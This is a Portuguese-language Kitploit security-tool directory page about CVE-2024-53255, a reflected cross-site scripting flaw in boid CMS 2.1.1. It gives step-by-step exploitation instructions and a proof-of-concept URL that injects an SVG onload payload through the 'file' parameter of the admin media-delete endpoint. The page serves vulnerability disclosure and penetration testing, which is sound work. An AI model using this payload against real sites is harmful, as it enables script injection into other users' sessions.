Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-53255 — boid CMS 2.1.1 - Cross-Site Scripting (XSS) refletido | Kitploit
Ferramentas/GitHubGitHub/0x4m3r/cve-2024-53255
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de Penetração
GitHub0x4m3r/cve-2024-53255

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting (XSS) refletido

Ver Repositório
2há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-53255

boid CMS 2.1.1 - Cross-Site Scripting (XSS) refletido

Descrição:

Existe uma vulnerabilidade de XSS refletido no endpoint /admin?page=media no parâmetro file, permitindo que um invasor injete código JavaScript arbitrário.

Passos para explorar:

  1. Faça login no CMS e navegue até a página de exclusão (/admin?page=media).

  2. Selecione qualquer arquivo para excluir e intercepte a requisição usando uma ferramenta proxy.

  3. Modifique o parâmetro file na requisição interceptada para:

root@kitploit:~
<svg+onload%3dalert(document.domain)>
  1. Encaminhe a requisição modificada e o script injetado será executado.

Prova de conceito (PoC):

root@kitploit:~
http://localhost/boidcms/admin?page=media&action=delete&file=<svg+onload%3dalert(document.domain)>&token=693b471d9ee886766b69fd0dab9d992cd7f0e1e483822b28b6e8bcde0cf502e4

Para mais detalhes: https://nvd.nist.gov/vuln/detail/CVE-2024-53255 https://www.cve.org/CVERecord?id=CVE-2024-53255 https://github.com/BoidCMS/BoidCMS/commit/42f4d703a87f5199bbd701b3495a26c91b9cfab7 https://github.com/BoidCMS/BoidCMS/security/advisories/GHSA-7q7m-cgw8-px4r

Baixar ferramenta